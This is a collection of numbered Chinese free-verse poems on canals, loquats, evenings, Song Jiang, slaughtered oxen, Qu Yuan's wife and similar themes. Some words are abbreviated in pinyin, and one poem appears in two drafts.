在偶然之光里面某个人认识，但他被语言锁了起来 关押的形象如同丢失了的钥匙。 某种必然性，与我有所牵连。没有结束的意思。 枇杷果4——669 《枇杷果4》 枇杷太远的延伸， 就会有心事，包括了 两件事情， 在物的，它那不流露的脸庞上面 疙疙瘩瘩的纹理细小， 往日一般的语言的难以想象 仿佛又是我，这一次所需要面对。 我的自我断定应该有误， 我应该有所信心，这一次。 枇杷不愿意吐露并且遮遮掩掩 呵，这第二件还没有真正的完成，这 第三可否因我而起。 站在枇杷树下面，落影稀疏 更多的美感的边界我找不到，摸不到 一颗心悬浮，即不属于这， 它已经因为语言而过了头， 从果子里面冒出来的取出酒水， 这必然失败想法的忽然。 无题670 《无题》 尽管并不是同一双手， 它的能力范围只在底部和指尖之间。 不同的手抚弄着同一双手， 产生了形式的手，它往前摸 产生了言语和嘴之间， 喋喋不休的争论。 如果一切问题可以归结于手如何克制，矜持。 这只是众多形式之中的其中一个， 很是微小，但微不足道只是语言隐秘的形式 带着反驳的尖锐和利刺。在其他的众多之中 我容易迷失，我肤浅且无知，言说一个需要涉及到另外的。 没有眉目，什么也没有。 庭院671 《庭院》 枝叶茂盛， 对于一棵树而言， 为小。 不同于业障的某一种迷局， 又由繁茂的叶子萦绕。 也可以是人的手， 拨去了其中对到达的目光而言 间接的部分。 那时候目光还没有为随后而 叙述，和怜悯。 它情爱的本质事先的展现， 随同着目光一路向上， 在同一个头颅上面，如同近邻 并且在对对象的观察和干预之中 将自己有可能分离的 这一件小事情不断的放大了， 码头672 《码头》 码头停泊在秋天， 像木头或者石头安家的形状， 可以到语言才停止。可以耐心的听我说， 听我，讲转折的吧。泊在某一我不知道处。 被需要如同一层层的波光粼粼，从中心开始了。 而动词的你，会被敲醒，更重的事物爱你， 敲你的心儿震动。 两手空空的人儿求助于步伐的爱你，有着陷入动词的危险。 离开了你的一般的慢慢的走向了，你。 或者我，我们彼此并没有什么不同。 人工河673 《人工河》 被挖出来的那条河， 在长江以北。 比黄河还要再往北， 北成了一种隐匿。难以察觉 语言的漂浮有时候下沉， 去到了南方，它临走前说着 不会再回来的坚决话语。 不会再回来的，犹如无形， 以风的形式。而往往返返 你在大河的波浪上面能放上什么呢。 逗留的心意而往往又总是回到了你 自己的心灵。而且它清脆，你铃铛的心儿。 运河674 《运河》 当终生而不得以解 他去到了的， 也已经是有一定定的时间， 作为农民的身份，如同匍匐 之前行走，而后是劳作。 也可以是为了形式之美的平衡而漫长的劳作。 而哲学，乃至于思 它们回过身子来。 作为不了了解它们显然的离去， 因一个人的忽想到而是容易遗忘的意思， 和发生的多么的具体。也绝不是它在地面上的投影， 依然孤立，悬置，如同它们 在于离去之间，而属于我们的言语 因此悖论的说着到来愈加近的距离。 运河675 《运河》 个人的看法是卑微的， 我觉得这条运河，我可以叫它不同的名字 它都会回应。可以的话，当它刚刚竣工 从北到南旨意像一个望远镜 起点在群山，中途一个又一个，一个个的。 像w灵一样，面庞冲着我们 交代前c家庭里面，一些h事。 一些地还没有耕种，种子在麻袋里面用麻绳绑着。 我们是一群群，凭借着人多势众，而绑架了农业的农民。 谷仓的门年久失修，没有钱去上一把锁。 只要一脚踹的走投无路的下去烟尘就飞扬起来了。 这一脚无异于宫中睡眠不好， 风寒来的突兀而准时。这在皇d的一脚上面 是整个山河。说完，以寂寞的方式 我没有察觉到的那些鬼混，就从我的嗓子眼中 最终放过了我。这是大运河的中段 只要离开了起点，就都是中途。向着行走本身 只有古代不理解这些， 它们的过度被如今繁茂的混合着，在了一起 有一种回到过去但并非错误的可能性， 也不是什么重现，脸庞上面一闪就过去的轻松， 不会真的抓的住，从我自己生疼的手上， 跟你一样。 京杭大运河676 《京杭大运河》 我看每个人都像是 在探听流水。 我坐在船头， 弯下腰，一只手放入了 静谧的运河水。 我得到了我就是那个 与流水因船身而相像者， 作为人的普遍性我离不开， 有一种贫乏，我愿意混同于无知 说想怎么说就怎么说的语言， 如同撒网，记忆起来了一种看似新学的技艺 在最初我们离开了陆地，并且一路向下 我们回头看陆地， 作为一种回应。 宋江677 《宋江》 这一切都拜宋江所赠，土地上面的一八多颗， 非说自己是星宿，一转眼就旋转着。身子犹如滴溜溜的陀螺。 郓城县城里一个精瘦的男子，衣着朴素，个子不高。 一边吃鸡肉一边吐出货真价实的r.y道.德， 酒水悬置。空杯子一声不吭的等待着下一次。 但并不是所有的事情都可以如此顺利，我们的思，x醉了，头脑是脆弱的f线。 他从酒肆走了出来，身子就像地里面的玉米茬一样横七竖八，东倒西歪的画着另一条马路。 有画师像，与一个卖烧饼的擦肩而过， 他了解一场尚且没有发生，历史的凶险。 他越过了一头紫色的虎，景阳冈的商量没有交出对策， 一个死，一个活。 像题字，只有前半句，或者有下半句没有人。 有人说的时候或者语言本身的无声。一路， 他只要紧了紧衣裳，觉得有一些凉意，推到了天光。 谁又能了解一个失败之人，第二天一大早他就 迫不及待的想要去毁坏掉自己的形象。 把本心泡在酒水的劣质和高酒精度里面。 那么，他说出的任何的话语都会在真与无罪责之间， 任其摇摆。像积蓄力量，实则只是最后的一下， 而往往最后的一下则是真的。像地里面的玉米杆， 干燥的透了，成为了旱灾里面水最极端和隐秘的形象。 他也是这么杵着，骂土地。骂某个我们不认识的人儿的爹，娘。 冲着自己m了两声。觉得不尽兴， 是啊，最后的真实乃梁山，那也不过如此阿。 猪肉佬和养鸡专业户的语言包含了鸡粪与排泄x 的畅快感。 他只消带着侥幸的心理交出了他们各自的命盘， 从并不统，一到再次的杂乱无序。 那些星宿一般的旋转着，问它终止的意义，也都是错的， 宋江678 宋江 《宋江》 这一切都拜宋江所赠，土地上面的一八多颗， 非说自己是星宿，一转眼就旋转着。身子犹如滴溜溜的陀螺。 郓城县城里一个精瘦的男子，衣着朴素，个子不高。 一边吃鸡肉一边吐出货真价实的r.y道.德， 酒水悬置。空杯子一声不吭的等待着下一次。 但并不是所有的事情都可以如此顺利，我们的思，x醉了，头脑是脆弱的f线。 他从酒肆走了出来，身子就像地里面的玉米茬一样横七竖八，东倒西歪的画着另一条马路。 有画师像，与一个卖烧饼的擦肩而过， 他了解一场尚且没有发生，历史的凶险。 他越过了一头紫色的虎，景阳冈的商量没有交出对策， 一个死，一个活。 像题字，只有前半句，或者有下半句没有人。 有人说的时候或者语言本身的无声。一路， 他只得紧了紧衣裳，觉得有一些凉意，随后大手一挥，把一切推到了天光。 谁又能了解一个失败之人，第二天一大早他就 迫不及待的想要去毁坏掉自己的形象。 把本心泡在酒水的劣质和高酒精度里面。 那么，他说出的任何的话语都会在真与无罪责之间， 任其摇摆。像积蓄力量，实则只是最后的一下， 而往往最后的一下则是真的。像地里面的玉米杆， 干燥的透了，成为了旱灾里面水最极端和隐秘的形象。 他也是这么杵着，骂土地。骂某个我们不认识的人儿的爹，娘。 冲着自己m了两声。觉得不尽兴， 是啊，最后的真实乃梁山，那也不过如此阿。 猪肉佬和养鸡专业户的语言包含了鸡粪与排泄x 的畅快感。 他只消带着侥幸的心理交出了他们各自的命盘， 从并不统，一到再次的杂乱无序。 那些星宿一般的旋转着，问它终止的意义，也都是错的， 大运河2——679 《大运河2》 我看每个人都像是 在探听流水。 看无罪，手掌包括在其中，零散的句子 和原因，像它们彼此二者之间的关系， 我的手掌一直往前，没有停止的意思。 我在河边呆了很久， 我在水里面的另一种形象 是太过于困苦，栖身于一艘木船。 如今它还沉在水底，水浑浊，经常有运煤的驳船 冒着黑烟经过。 或者经过之后剩余的空， 运河的底部很慢被清淤。但是 我越看越觉得那不像是一种遗迹。 那条船上面的诗人张继， 一路逃n到了苏州城外，想起枇杷与桃 皆一一丰满如r.房。 把现在的一切情形，像历史越来越被证明 是用温火烧着一条运河水，上面的人叹息 哀怨，惆怅，或者其他。诸如此类，但都并不准确。 下降680 《房间》 下降维度的房间， 里面语言为重。 它并不因为暮色将至而重复了 一次，于自己的身体，那也 不是别的其他的事情。 而这些语言的凌乱，仿佛 存在着波光粼粼的景象在它们的表面 现象学以如此这般的方式置放， 一次又一次，像从来都不会空缺， 也像别的，诸如德性。当文字和话语 重复着一个相同的词语。事物在下面覆盖起来。 自然681 《自然》 自然的s亡，在衰老之后自然的发生。 面庞和手指的联合做不了什么， 那是最后的一点点收获，同样是第一个 也是第一次的一无所获。他用较为沉重 来敲打着对他而言陌生的门扉。里面所透着的 熟悉感觉，曾经在其他人那里，以逝去的方式 传递过来，像抛锚的船夫，穿着破旧的衣服， 心甘情愿于清苦的命运，锚绳放下之后， 人走上了岸，随后消失不见。只有沉重的绳索 预示着风，空荡荡的轻微晃动着。 谈自然像一条已经死去了很多年的鱼儿， 从我们的手上开始的，w故是新鲜的。 如同一面镜子在生与死之间，只需要放在那里 生经过了一阵徒劳的扑腾，还有生投身于一种 对象化的虚空之后，绝对的寂静便随之慢慢诞生。 我无法厘清，在语言和我之间，是否情形也是如此 如果那些我无法倾听，就像鱼儿一般的词语， 从耳边和枕头的一侧，做着某一种运动，它有所目的，并且有着 准备向那个地方的努力，转动的身体，在文字里面。 十月院子682 《十月院子》 十月院子很深， 可以用一句虚言来测试 季节的深度。 可以是一个人， 随时都可以甩甩手不负责任的离去。 为毫无相关性的到来所提供和给予。 暮色很深，因此 就不需要在另一人的唇边 来把美好而珍贵的时间耽误了。 而人世间最麻烦的， 最难的莫过于彼此之间有一道院墙。 从彼到此，看起来跟必然会有河波， 或者随后柳树在岸上拂动的实现之寓意相似。 我是在你心里敲鼓，拿不定主意，忐忑 那鼓声却敲在了我的心上面。 十月来人需要度过河水，水的温度越来越低 身体发福，抬头，感觉院墙比过去更高了一些。 我担心的是你这个桃花有变， 越来越遵循于传统之中， 十月你不会开花，在我的恍惚之中， 你应该尽量的结出果子来。 慢慢683 《慢慢》 慢慢的提上春色， 我本来想说的是提上裤子 但它已经落在了春色的后面了 我怀疑是否也因此有着还湖于海的可能性 作为一种对应和共鸣， 在文字和语言中。它对应着挖掘和思索 面对着不能一无所获的处境。 慢慢684 《慢慢》 慢慢的提起来春色， 一并也还是会有其他，顺着我手指用力的方向 苔痕上阶绿，我还差一点点在一个不合适的环境里面 念出了草色入帘青。但力气不足了， 给它们蒙上了对于转身充满定充满变故的阴影。 它们化作了掉落的破碎声响，又保持着无声。 而我本来在做的事情是把裤子， 小解后提上来。同时借此顺便前进到 不会浪费时光的思想那里。人已经迟钝和衰老的 比我想象还要严重，只有诙谐与自我嘲弄， 没有位置的一切渐渐的开始有了位置。 倾斜的光线，因为厕所的幽暗而照射进来 我是光线最终淹没于无形的那一部分， 像一个答案，但问题本身却可有可无， 它囿居着，得到了它想要的，并且不至于此 像一种外来者，也曾沉默的注视着，看着。 我说的是人本身在此时此刻里面， 所存在的意义不足，不在事后才被发现。 青白685 《青白》 在四川盆地， 都江堰市的青城山地区， 从那些繁多，因为历史不断的发展 和人的故事不断的发生之中 剥离和推脱开来。 单纯的只涉及到一段神话传说 大致发生的最初地点。以这样一种方式 我们粗略的确定了它而不至于迷失。 我也听到了一声历史的叹息，无论它轻或否。 无题686 《无题》 Sc省，都江堰市，青城山地区。 这样就可以粗略的， 把一件古代神话故事发生的位置确定。 伴随着一声历史叹息，或者没有， 我恍惚的听见了，我心儿有所隐忧。 万物687 《万物》 万物很早的就端出了活着。 活着，田野上面的各种植物 绿叶。断掉的根茎和枝条， 梯田与丘陵。 活之后不是死。 因为在一株植物之后， 另一株会接着映入眼帘。 活肯定会活很久，植物很多 一个整体与活有关的， 正被我这一活着的生灵注视着 而活着因此形成了，这一结合的， 甚至让词语借此进入了鲜活的现实里面。 亡灵们的那另一面， 仿佛附身的巨大背面。 我始终看不到它们， 它们注视着我，如同一种单一，或者 缺失本身的完满和自由。 有一种形象是语言在上面，走着。 以言说的形式，因为烈日炎炎，太热 只能以语言的形式，它们作为逝者不可以到来 那肥胖的彼岸，正渴望着纸张的钱币， 一颗虔诚或者并不虔诚的心儿所隶属的传统， 活着在里面，如同孕育的欢喜， 我愿意把它一推再推，推着，尽管有一些累 直到她欢喜不已的时刻。我离开了那活着吗。 夜晚的688 《夜晚的》 我希望世界把我束之高阁， 无论正确也好，错误也罢 云层与雾气，在黑暗里面的一双嘴唇 以及解释的总有关于沦陷的话语， 传了过来。如此的具体 我却要以模糊来应对。 抬起双脚，挪动身子，步伐 凌乱，在空气里面打着解， 以无形应对于无形。让悬空的 在想象里面落为事实上有另外的一种确实存在着， 我因为不能观察而观察， 夜风习习，带来凉意，因为 非我所愿而穿越过了去。 可以空留下一具形体，打结的 言语着，作为次要的，作为一种事物 需要人们的规定，但人们睡着了， 睡眠所向一种美好。 大雁及之二草稿689 《大雁》 大雁消失，消失。 消失的不仅仅是事实本身， 逃遁的之于抓住与持窝， 说天空有一种莫名气力的人。 我们也该说说别的， 并且借用于水，而事实上 事出有因，飞翔有形式之美的历史传统。 我觉得自己成为了最后的一个， 合适的形象在单一之中困难的调整与挣扎不休。 我是大雁之心，而非 更加丰满的形。是别的， 我受够了语言的形容，视作了 某种程度上的羞辱。诞生于此的 我事先的称作了道德，它那绯薄绯薄的表面 颤巍巍的不断的重复着，以防止真正破碎的发生。 我只有一个想法，它因为自我的拒绝实现。 而它的美丽，像红色愈发的浓艳。 含有遮盖，暮色里面像傍晚，也含有。 我认为可以是同一种东西。 自己把自己扑棱的凌乱， 自己用着急促的语言， 像是在天空的布景里面 有着不满，怨言。 大雁如果真的消失了， 最后一次出现是在我的心里面 记得一个小点一样的影子。 我会发布一条寻人启事， 并且在上面用粉红色的笔， 把大雁此刻的心意已决画出横线，特别的强调。 我猜测一条大江铁索寒 芦苇690 《芦苇》 芦苇歪着身子， 它留给我的预判时间已足够多， 它歪着身子触及在那上面。 芦苇之梦虚幻，但虚幻的 有声音，乃至于有迹可循。 芦苇总能指出我的错误，从单一里面 它一次次的热衷于群居。 在自身里面把自己散开， 让傍晚柔软的光芒洒落在上面。 随后我的语言也洒落在这地毯上面， 它白色的绒毛离地有两三米多高， 摇动是轻轻的，交织的。 在于风，也在它自己，二者之间 有一种t判。 秋天渐高691 《秋天渐高》 秋天渐高， 高到我脖子痛， 我说出来的， 最后全部有可能只在虚言之中 以人类人性的高度以及现实 的摔摔打打之间存在，也不是尽兴的存在。 打人是虚的，尽了兴，转身 就句号一般投身酒肆，只在酒杯里面打开 自己的嘴唇。 秋天渐高的时候， 我碰见了失败而归的爱意 和别的，如同一个母亲 隔着衣服的缺少了婴儿的丰润乳房。 我脖子酸痛，低下头来 试图通过地上的影子，来确定 秋天的高度。 周遭的一切是它的宽度， 展眉目的时刻， 或者不幸福的时刻，水波一般被 一双，不知道是谁的手儿推开来。 秋天渐高二692 《秋天渐高二》 秋天渐高， 拉伸着不疼的水 水是不疼的生物，在它的里面 充满了腹部，牙齿，口腔 被拉伸而不痛的如迷的水， 那是个下行的水 与它自己之前的转身，欲准备下行 不同。本质上面。 秋天渐高容许我有着更多的时间，语言显得稀少。 不疼的水中是否充满了人性， 安放了牙齿，嘴巴与腹部的水。 活命的水陡然的一跃，一惊一乍 击碎了的它得以那自我与自身的一刻。 戏曲与哲学693 《戏曲与哲学》 西方以哲学的方式展开了它们的历史， 我们以戏曲的形式展开了我们的历史。 马燕694 《马燕》 马燕已经已经不再， 我向天空投身一抹，飞翔有关的质疑。 说话的形式为空， 我弄不清语言具体的形状， 头脑仿佛成迷了。 存在本身自成形象， 马燕，这个叫做马燕的人。 一点一点，在生的死 银色的和暮色的托盘，在暮色时分的里面。 正一点一点挪动着，脚步。美丽 马燕是谁，马雁？ 被我一用力，手掌之间的运河， 一个一捏就碎了的女人，只能是徒有其名字的。 像那些因为短暂而隶属于凿刻， 时刻里面的马燕，走了过来， 在我叮叮当当的举着锤子， 向耳目闭塞的另一面的叙事与诗歌本身 一枚錾子随着手指的方向在石壁上面移动， 我说，马燕你不要烦我。 走过来的人应该如水，属于未来，但多余 在谈资里面再次的一次次的轮回， 马燕这个人慢慢的升腾。 早晨695 《早晨》 我在爱情里面，拯救你， 涉及你，靠近你。设想了的你。 如此，早晨清新，我已经显得凌乱。 我希望你看我，彼此，在最后一个 这或者那之间，有着斩钉截铁的感觉。 又弄不清那到底是什么， 像一个大物，很难有微小的部分 犹如云团，像一个反驳，但很是温柔。 我的余光可以瞅着你。 傍晚696 《傍晚》 生命囵居，在植物的 生命形式里面不断的调整自己。 有时候也是因为有风要经过。 它伸出手儿，过了一会又收回。 狗尾草，苦菜子， 荨麻，荠荠菜，蒲公英。 我的到来在在意外里面不断的折腾， 在意外里面幸福。度过一生。 我是田野的上面，携带着侥幸心理的邻居。 在某一个地方会随手撒下花朵美丽的种子。 在暮色时分植物的种类中， 生命，它不断的下降。一点一点 直到存在于了土地。它接触的时刻 我用双脚踩踏出来了尘土。 傍晚2——697 《傍晚2》 我有一个误解， 它变得越来越严重。 我觉得只有所有的人都走了以后 世界的真理才慢慢的澄清。 我是说很轻的走， 离开的意思，因此是到来， 对于另一个事物怀有着最新涌起来的热情。 对死亡怀有很深的避免 又只是走这个词语。 当人一个个减少，直到最后一个。 他闲坐，倾听。或者 在另外一件事上投以注意力。 或者别的。或者什么都没有，他 只是有一颗发愣的心，此刻左右了他。 最后一个是被占据的人， 乃至于是被落日余晖所占据 青草衰弱，语言融入空气 折断的声响代表着一切 中间的路径犹如一个无形的大口袋。 太阳垂直的走于瞬息， 因此它落于语言的无情所带来的 山脊起伏而来的命y。 乏味的语言，也是常新的语言， 因此对于沉睡的人而言， 他这一天与其他每一天里面， 众多的形象，都是傍晚的忙碌 入睡的距离侦测，保持。 入睡与醒着是一件事。 语言因此会得以是主角， 作为缄默或者笨拙的农夫 作为被语言所抚平的农夫， 语言带来了夜晚，白昼与此交替。 我看到了一切，我的眼睛看到了我。 语言说出了我和我想要说出， 我试图说出的倾向在于逃避， 一切轻易和轻而易举， 我拿起来的事物，缺乏了自身， 在跌落于自身之中，被我一下子抓住。 傍晚3——698 《傍晚3》 远岂能无罪， 如果你这个村民， 用自己的心来敲打，而不是自己的手。 如果你不能越过远 颠倒之中所组成远的丛林的 植物，形象带着刀枪剑戟的尖锐。 我带着语言的刺杀感觉来对话你， 我口渴，一渴再渴 我的语言被植物横七竖八的形象 变作了同类， 我在傍晚闯入了另一场古代的短兵相接一般的， 是我。 我只能用想象与你说话，你敲打了 形形色色傍晚里面的我呀。 岸上699 《岸上》 石头的形状， 在语言的河流里面。 在寂静里面石头孤独 那是它孤独的形状 被浸泡，仅仅露出头， 被淹没，包括没有被说出来的话语 是呼救的声音内部一般的吞咽了下去。 一条河流中下沉的很深 呼救的气泡也在下沉着 被傍晚倾斜的光线照耀着，越来越 像是迷。解不开，解了一会， 暂时失去了耐心，我转身去做拿起了另一块。 怒江700 《怒江》 六月初， 因为枕边的一部诗集， 我与你同路。我是划着横线 在横线里面包括了朝与晚霞， 语言遗失的可能性， 和有着掉落的可能。 我相信六月滞后了， 撞上人，肉体如门，会把人撞的很深， 同样是不经意的事情， 你是另一个人。 你是你自己，牙齿刷了，洁白照亮。 牙膏与器皿，底下不是虚空。 你不是另一个人，我看到了他 他的形象是牙关紧闭，没有语言传递出来 但我会一次次的陷于误解， 他试图说出来的被牙齿一次次逼退。 我跟你一样，厌弃古代的装裱 别人扔给我的，顺着手指 来意与方向，直到我直视着他，端详着 我应该无足轻重的，我尝试了虚空 身体被太阳一烫，想起了那些彼此 凌乱不堪，乃至于矛盾的语言 你是战争的旁观者， 你在别人的诗歌里面，隔岸观火。 同事701 《同事》 她的走来和走去， 是不同的两件事物。 也只会使得我的看更深了一些。 唉，我看到了自己的疲惫。 看到了自己的恩人， 在现实里面来来回回的不停的走动。 她因为无法走进来， 而称作那为我的心。 现在傍晚了， 天黑之后我准备约她去吃饭， 看电影。在她的嘴唇上面 亲吻她，很深，像是归还。 山谷702 《山谷》 这是我不熟悉的山谷， 它离远方的另一个人很近。 命名，名字有了，那是他的家乡。 我觉得那跟斜阳如血， 在自身之中散开了的自身， 含有着相似性的部分， 作为一个没有应答于我的东西， 自始至终。犹如远方的空鼓 不捶，也不闲置，运输上山上去的历程， 以及如此想象了的画面感 在另一个地方属于莫须有的苦和难。 无题703 《无题》 我单纯的只有思， 只有思，思想里面的贫乏我猜不透。 我琢磨，相比于一个动词更像 它的惯性。它的静止的时刻没有来临， 因果暗藏。语言准备着。我从歧路一般的 退了回来的模样。偶然的经过挂在墙上的镜子。 突兀，如果向现实的世界伸出手来， 作为一个已经完成的事情。它没有残缺和遗憾 作为只是追求声音叹息的单纯，又或者只是被它所影响， 犹如干扰，或者其他。 无题，704 《无题》 说出来石头，平铺在土地和泥土滩涂上面的， 可能不信。在石头之外，经验性的确定了风 反过来又借着经验的积累，也有着允许试错和错误的可能。如果随口一说，紧接着沉默不语 像引人误解的神秘感再心中引起了一阵阵得意 它的微不足道需要等到今天过去，而此刻因此 显得是重要的。它无所凭依的形象在于杉树， 孤独的生长，笔直，更加孤独。或者成群候鸟，飞翔源自于受到了惊吓，在获悉了有一处饮食的小麦时，它们就会换一种语言。 共同本身作为外观之上的另外的一种， 伴随着文字省略，和它衔接的意义仍然的存在着 又有所具体， 形象。即使转瞬之间我又忘记了， 对于一首诗，或者在不能保持平静之后， 说它是诚实的，或者别的。 无题705 《无题》 把手揣进袖子里面， 就能够等待我的语言。 两个越过了此刻的事物， 分明过分的简单，对我而言，是我和它。 手揣进袖子里面，会掏出流水， 糖果，巧克力，最好还是几百块钱。 治病的药片。在语言里面，形象 一冲再冲。干燥如同是梦想，可以轻而易举的 怜悯的道义的实之现之。 我从别的地方来的，我不能容忍 深层次的生活品质，太阳不能如芒在背 具体的扎我，一个哑巴。你不能说看到了我 如同共鸣的朋友，为了矜持，才避免了彼此的亲吻 我，一个农民，工人是农民之诗歌， 攀爬到了山上，在攀登的中途，第一次说出来了 一句阳春白雪。我是 人类整体的最为极端的情况，却又 如此的普遍。是发现，你也有所发现 甚至你发现了在门外的敲门声音，你的具体 过了今天，第二天就会代替了我。 你还不是那个揣在袖子的里面， 但大千世界已经多出来了一个个因果。 一个被打破的因果，或者一个因果里面 一条路向你的眼睛展开它，它因此为黑 你是某一个倒退之物的到来， 我说话一切就都是假的， 我翻身，起身，这之前走过来， 一切方法我都试着尝试。 我靠近你，我是最后一个，身体与身体 不断的说着话，因此恬躁与寂静 因而寂静是你，那么你把手儿揣进了袖子 或者兜里面，作为同一种事物 可能把我区别开来，我在庸庸无为里面 我说话，生命平等的线段在话语和我的头顶 安安稳稳的平放着。 无题706 《无题》 词打进物里，它的目的地是生命。 鲜活的，颓废的，重要的是 平凡和庸庸无为二者彼此的 并不可分。像我头一直抬着 累了，也同时抬着那累。也有着 监视着它一路的可能性。 如果我从登上火车的开头算起， 那么，那就是真的。其他的还有 真令人感到恐惧。需要它变淡， 变成了的假的在火车的技术进步里面 安全和舒适的车厢。人头攒动的车厢 我逃避的生命就是如此， 逃避生命被词语钻研和参悟。 对于我自己都不了解的事物， 生命掉下来，掉在地上的时刻一直存在着 持续震颤。有一种其他的可能。 牛707 《牛》 牛是死的， 它横陈如此美丽， 传染了莫须有的行走 对于行走而言，那走向美丽的阻力 何足挂齿。 牛就是这样，死亡的一点点的 在我这里丧失了具体， 让我的语言千疮百孔， 所以，牛到底是死是活。 我确认了它的死，它因疼而死 在一个地方，直接的进入到了死得其所。 牛是否死的更深， 以至于暮色将至， 它就在听你说话。 在死中活了过来，由于脑袋的贫乏， 生命已经被肉体吃饭的欲望占据了。 所以它在死中活了过来只是极其短暂的一阵， 在我的眼睛里面只是倒下去的时候 轻微的停顿了一下。这只是其中的一头牛 一头牛引动了久违有之， 我们结伴可以走到了那杀牛的狂欢。 如此丰富与完善，仅仅只是为了这场景 如果它并非事无巨细， 庖丁解牛的屠夫，他努力了一生 一声不吭的一生在今天到达了目的地， 他更加的一声不吭。 牛声乃至人声也。二者需要被分开 庖丁是谁？突然之间l史如牛 突然之间又是别的。在现代性的极其偶然 安妮一个事物到另一个。我谈论的这 一个令我感伤。下一个，那下一个。 山河708 《山河》 经过了一夜有关于留学的谈论， 经过一张张嘴唇里面的一张嘴 另一个才能失败。胜利 交给语言来欢呼。 第二天，把经过了大山大河的女儿 送到偏远之地。 如果农村她不愿意提起， 用这样的词语你也不好意思。 你要解释解释，怎么产生了 突兀的大山大河 毕竟前面还会有另外的一个， 真实，是父亲母亲交给你的。 太阳709 《太阳》 太阳在坐， 坐中有我， 在停留之后，漏了出来。 我在坐，太阳坐的比我久 与形象的光芒，它那锐利 并不矛盾。 这具体的形象因为怀着遗憾和叹息 而裸露了出来， 之后我回家，太阳跟我一样 白日落西海，之后我相信它也会 突然之间变得广阔， 无题710 大体如此，如夜。但是只有这一个夜晚， 它和它的孤立，它的梦高悬，我看着灯火 的内部由困惑的焰一点点的来充斥着。 端着茶具的人儿，把东西小心翼翼的放在了 桌子上面。甩甩手，在身体的两侧拍打了几下 夜晚由灯盏提供了光明。不断向前的延伸着， 有时候它折返和停顿，作为同一个事物。 作用711 《作用》 活着的，死亡。也可以是 堤坝为了倒映蓝天 这种虚的东西而活着。 静止之后的行走， 莫名又奇妙，又被人给推了一把 对于我自己说出来的语言， 例如，啊。我是不负有任何的z任 落花与青绿， 皆一一听从自song，歌一般而来 它们的目的地在于远 我要度过一段水流 暂时，我无法找到一段短暂的思索， 有什么作用。 傍晚712 《傍晚》 看门狗为树木悲泣， 道德的一整个序列 在傍晚，重复了自己。 它是完整的，所以 狗吠此起彼伏。空与断裂 随后人的脚步声音就会在 远远的离开里面，回想了他 刚才突然而胆战心惊的一刻。 一切发生的太过于突然，在拐角处， 房子挡住了命运。反过来说， 我们认为未来可期。 在突然的狗吠里面，我们甚至 轻轻的触摸到了道德。 者并不是出于本心， 需要持守，为他，朴素 不断的回到今天这个傍晚， 梳理的信念来自于真理， 相信眼前的一切，并非无形里面存在的 另外一种乱麻。现实的毛线 找不到起点和终点。被一条忠心耿耿的家伙 看护着。 院子里面是道德的思索者 吃饱了才能有落叶的回声 断定一切落在大地上面，它们 反弹的形象，或者它们语言的形象的命运。 屈原之妻713 《屈原之妻》 古人讲，绿肥红瘦 红花受到了绿色的挤压 如叛变一般的， 便在江边纵身投江。 这一跃，跃的好。 换来了好酒好菜， 未吃之前仿佛我就醉了。 我坐在屋子里面的凳子上面， 看着那个端着西红柿炒鸡蛋d， 托盘的边缘放着白色的小杯。 她端心意的意图未免太过于小心翼翼 我很想告诉她， 时间已经过去了几千年了。 一切都变了，你也不再姓李， 那投身者为了寻你而你却 幸存与侥幸。日日如迷，香烟 从烟囱里面袅袅。 我开始为此刻担忧起来了， 这傍晚的暮色可疑， 是你错还是我错了，我分不清了。 我， 途径了历史紧紧不放的一段离奇爱意， 要他死，要你活。 我抵达这酒的深处了。 牛714 牛 有人s牛， 牛疼的直叫唤。 他就抓住了那叫唤的疼的声音的 广度和宽度， 牛就死了。 哞哞哞，我以住在t，z场附近的 一个老太太作为标准。 因为没有人，仿佛某一种道德以义理 正在变淡， 难以言说的形式常常在于 忽然被人们想起，说出，另外的一件事是 因此大家纷纷赶来。 ————并不是为了吃肉这么简单。 怜悯的人在众人的腹部， 还没有成为一个旧时代里面的， c.jiao士或者x徒。 老太太泼水的时候，s牛， 之后她把衣服干干净净的 挂在晾衣杆上。 这之后很久，牛哞哞的叫着 老太太关门进屋， 那奇怪的低沉之事件经了过去， 遇到了可以语言的人 语言的人又把门关了起来。 牛哞哞的叫着， 与牛是两个彼此剥离开来的事物。 无题715 《无题》 我是丢三落四的人， 这是确定，我说话因此的 安全与放松 即使未来晦暗，我也向着它。 向着，以无限的方式 我能听到可能之中存在的期待 因为虚假，我要与转身 试图折返和倒退者对话，擦肩而过 随后一起。 直到他把我认出，我就是他， 一个事实但在解释的慌乱里面 存在着。 丢三落四716 丢三落四 《丢三落四》 我是丢三落四的人， 时常以问题的形式， 跌落到回答的仓促里面。 而对于结束盼望着， 随手，如同走出了屋子， 胳膊掀动了门上的帘子。 这问题端着， 累是没有踪迹的， 语言如果因为太多， 那么总是一次次的属于了别人。 如果我莫名其妙，仿佛身置于空谷 人都一一逝去的情形 它的极端直指着我，报有某一种期待 水717 《水》 水，它有可以一谈的历史。 丰富性的闪光并没有消失掉， 在谈论的话语之中微弱的 存在。像是从内部一点一点的， 那些抒情的形而上学， 和叙事的如今的它们。 历史之中意味着包括它们在内的 一切都被一切一般的语气所抛弃了。 我们重新回到了 其实我们从没有离开过的东西 山川如素，对于草木我感觉到了 悲观。而彼此之间不仅仅如此 作为一个困难，可以想象 对于穿越而过者所形成的历史， 和语言，它们太过于向一侧倾斜 有失公允。这样，水的情形 它孤立而缄默， 地质718 《地质》 一个地质勘探人员， 花了好久， 在自己的年龄里面失败。 他带着郁闷的余波， 转头向着了另外一个事物。 他向着这也向着那， 肚子里面装满，被自己敲碎了的时间。 甚至这一气呵成，颇为的老练和成熟。 ：在语言中存在某种矿藏的可能性， 与土地是东西两个维度， 失衡的处境，人在上面奔波 慢慢的，整个的g.j被装在了里面。 矿藏也是一种人d.z.y一般的哑语， 在夜晚，他会把其中难以言喻的部分 写一封信给自己的d头上s，他那瘦弱的妻子。 矛盾的东西，被他攥的很紧， 不曾想落笔成了信，像大地上的贫瘠的油脉。 在我看来，猜测字迹的意思就像经历上一次，地质勘探。 而他因此每每在另外的一层上面苟活。 田野覆盖了绿油油的植物，苍翠的森林 直扑山谷，充满了s气。 暮色萧瑟，又不矛盾。 他入林，像故乡的那一个 那时候他还没有结婚， 并且一直思量这这件事情。 戈壁719 《戈壁》 我问一个会让她孤独的更深的问题。 书中被人为制造出来的月亮才能够 短暂的照射光明。 独自走在河西走廊上的女人， 接近着历史之中的有孕如回声一般。 历史之中的女人等待着 他那人生经历曲折的丈夫， 他咬紧了自己不相应命运的牙关 对于自己的书写检查了再次的检查， 书写慢慢的呈现出冰车上书的一意孤行。 